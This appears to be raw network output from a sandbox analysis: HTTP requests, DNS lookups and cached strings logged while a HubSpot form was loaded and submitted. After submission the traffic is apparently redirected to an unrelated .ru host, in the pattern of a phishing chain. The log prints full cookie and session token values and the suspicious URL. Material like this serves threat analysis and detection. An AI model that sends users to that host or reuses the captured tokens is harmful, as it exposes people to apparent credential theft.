Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=17&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507075017&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/v3/form/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /collected-forms/v1/config/json?portalId=48528028&utk= HTTP/1.1Host: forms.hscollectedforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /StyleGuideUI/static-3.415/img/sprocket/favicon-32x32.png HTTP/1.1Host: static.hsappstatic.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=klVYd7VD0Hw6pCD5qdFtANmhuBsOAbKRDNOfR6WQ1cE-1736507074-1.0.1.1-Y5ojX9ZZfgfpXDZKrxxj7ayW6yM81OV6V3i48r_JO6_X0F7Y1lAYtL1LyxtggV6YRymcpmgKUHq9kBXeXucBZA
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074865&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=y7v5tlcteE91C7jGUYr2vGlDJ.u1tOvi0CXPTTF9N6I-1736507075-1.0.1.1-7..Q0ZSFebTGLJpsL9ixj7a5Oh8DyqpD6RcCvuDalD3guxScz6JpOhNDeu6Obdv_OZMHDqsh8QGlp_1WH4yJPg; _cfuvid=IYQZw4cmVpHExqbAXxp4hwZBo8NzlV46lxbZRgb1WHc-1736507075925-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=15&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074992&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=b5HdAN3ek_YmYyEE2gTewoXnOSPuJcvMoCz8j9jY4yw-1736507076-1.0.1.1-A1R9RNy0h05Hz28Ld.vWJJN99W0A2rWrHWchgC86l0AoPlghgfCTUdFOSnMxDP4Y_9xMmrc_mydmLLb_a9kGDA; _cfuvid=7uaCUys7QaNFFoDqB1p76RFXxW1y6pRM2dersaHfEC0-1736507076028-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png HTTP/1.1Host: 48528028.fs1.hubspotusercontent-na1.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=TI9ulSemoQH6kIVXm_Tygg0DdvP1cldOoxAgZJAZCqo-1736507076-1.0.1.1-PW8UZWniTihWFPAm.ajLW_njjqnRskTmjuqeLLbniabKcvJb31gVZnao0ODwcmts_.B985KiMQoBgOUlRM.abA
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=17&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507075017&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=IvjgSHgfyUH19BQlnmft0R0rTxSNz13tZddx2fRzpMg-1736507076-1.0.1.1-iWNP_af7iUnLwJ8Gwgv9lpa7999J0uD5R6uliVeswI8bZbcZsOLZ2LD0wIAk4C9OkbgF5ghB5hG2D052MtgOSA; _cfuvid=V1p6ZJr930niyplJ6tlJX5rI.b4IMxoB_oX.4IIg82k-1736507076046-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=18&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507211226&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=IvjgSHgfyUH19BQlnmft0R0rTxSNz13tZddx2fRzpMg-1736507076-1.0.1.1-iWNP_af7iUnLwJ8Gwgv9lpa7999J0uD5R6uliVeswI8bZbcZsOLZ2LD0wIAk4C9OkbgF5ghB5hG2D052MtgOSA; _cfuvid=V1p6ZJr930niyplJ6tlJX5rI.b4IMxoB_oX.4IIg82k-1736507076046-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=18&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507211226&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=IvjgSHgfyUH19BQlnmft0R0rTxSNz13tZddx2fRzpMg-1736507076-1.0.1.1-iWNP_af7iUnLwJ8Gwgv9lpa7999J0uD5R6uliVeswI8bZbcZsOLZ2LD0wIAk4C9OkbgF5ghB5hG2D052MtgOSA; _cfuvid=V1p6ZJr930niyplJ6tlJX5rI.b4IMxoB_oX.4IIg82k-1736507076046-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /submissions/v3/public/submit/formsnext/multipart/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb HTTP/1.1Host: 5qwo.oventera.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://5qwo.oventera.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://5qwo.oventera.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 5qwo.oventera.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImVteVRzWXN4K1JuNTA2MHpqWGZXWkE9PSIsInZhbHVlIjoiSXVwKzRZWHRqeHVJWU9rWExXWTdqSFNxV1ArQTVjVnp5NWxIZWp5VkR5Z2pselBZOGNpMUpBaHJDUE1IQThzV204QS9naGtKUGxQcE9NbE9vTzh2RjJ4Tm1jV3IxVUNYOHdBNkNrejZMdlROTnNrY0NzV1RROW9qZzJPREZadW4iLCJtYWMiOiIzYmI5YmZkOTE0MzJjMTI0MGQwNTRiZTY0N2IwM2RkNDE3OTQ5NWUzODcxMTA3MGYxZTQwYWRjOGZkOWM2M2ZkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IktwRG4wWXlFZzRHL2pxdFpseHBvM3c9PSIsInZhbHVlIjoiNC91cDNDYWp6UXJ5UzJGa0pBV3U5ZlYwNG1CKzVNUDNKODlBU1JpNStsNXdsQzlxRjBXM0NwSDJBWDBHSjZOc0hHNVA0aDlBc2U0K0oxcW8rZU13bEFXYmlPNkZ4QUVnUGNVY2lrU2NKUi9uejloNlJJTldYTDQ5c1RQUi9XeTQiLCJtYWMiOiI3OTJiNzRmYjJlNTQyMTZmM2NkN2NkODc3ODhhYzBkYzQwNjhlZTc0NDAwZmVlMWZlYzI5YTkyYmQzMGY4Y2Q0IiwidGFnIjoiIn0%3D

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: share.hsforms.com
Source: global traffic	DNS traffic detected: DNS query: static.hsappstatic.net
Source: global traffic	DNS traffic detected: DNS query: js.hsforms.net
Source: global traffic	DNS traffic detected: DNS query: forms.hsforms.com
Source: global traffic	DNS traffic detected: DNS query: js.hs-scripts.com
Source: global traffic	DNS traffic detected: DNS query: js.hs-analytics.net
Source: global traffic	DNS traffic detected: DNS query: js.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: js.hsleadflows.net
Source: global traffic	DNS traffic detected: DNS query: js.hs-banner.com
Source: global traffic	DNS traffic detected: DNS query: forms.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: track.hubspot.com
Source: global traffic	DNS traffic detected: DNS query: forms-na1.hsforms.com
Source: global traffic	DNS traffic detected: DNS query: 48528028.fs1.hubspotusercontent-na1.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 5qwo.oventera.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: blogger.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /submissions/v3/public/submit/formsnext/multipart/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveContent-Length: 2635sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUYvSpeJb0DzJoqDZsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 11:06:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v9s9dAcznNpE1kUuvmB%2Flo2MawSGLoeLuIULt1ecyz8QjWlB3PFEmylCCNRRyTQF6racTJd%2Fq4oGme4YTXD5CPvhSi5EDR2Pks25PwANAQvSbDnF8U4yafsKQ3kZ1A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4964&min_rtt=4925&rtt_var=1442&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2308&delivery_rate=554193&cwnd=251&unsent_bytes=0&cid=25dc8f56b4dafa3c&ts=339&x=0"CF-Cache-Status: HITAge: 677Server: cloudflareCF-RAY: 8ffc33611b5072b9-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1799&rtt_var=688&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1947&delivery_rate=1575822&cwnd=217&unsent_bytes=0&cid=58b48b46d5705db3&ts=4511&x=0"

Source: chromecache_241.9.dr, chromecache_231.9.dr	String found in binary or memory: http://hubs.ly/H0702_H0
Source: chromecache_221.9.dr, chromecache_228.9.dr, chromecache_226.9.dr, chromecache_237.9.dr	String found in binary or memory: http://www.hubspot.com
Source: 2D85F72862B55C4EADD9E66E06947F3D0.2.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_223.9.dr	String found in binary or memory: https://fonts.gstatic.com
Source: chromecache_221.9.dr, chromecache_228.9.dr	String found in binary or memory: https://js-na1.hs-scripts.com/48528028.js
Source: chromecache_241.9.dr, chromecache_231.9.dr	String found in binary or memory: https://js.hs-analytics.net/analytics/1736506800000/48528028.js
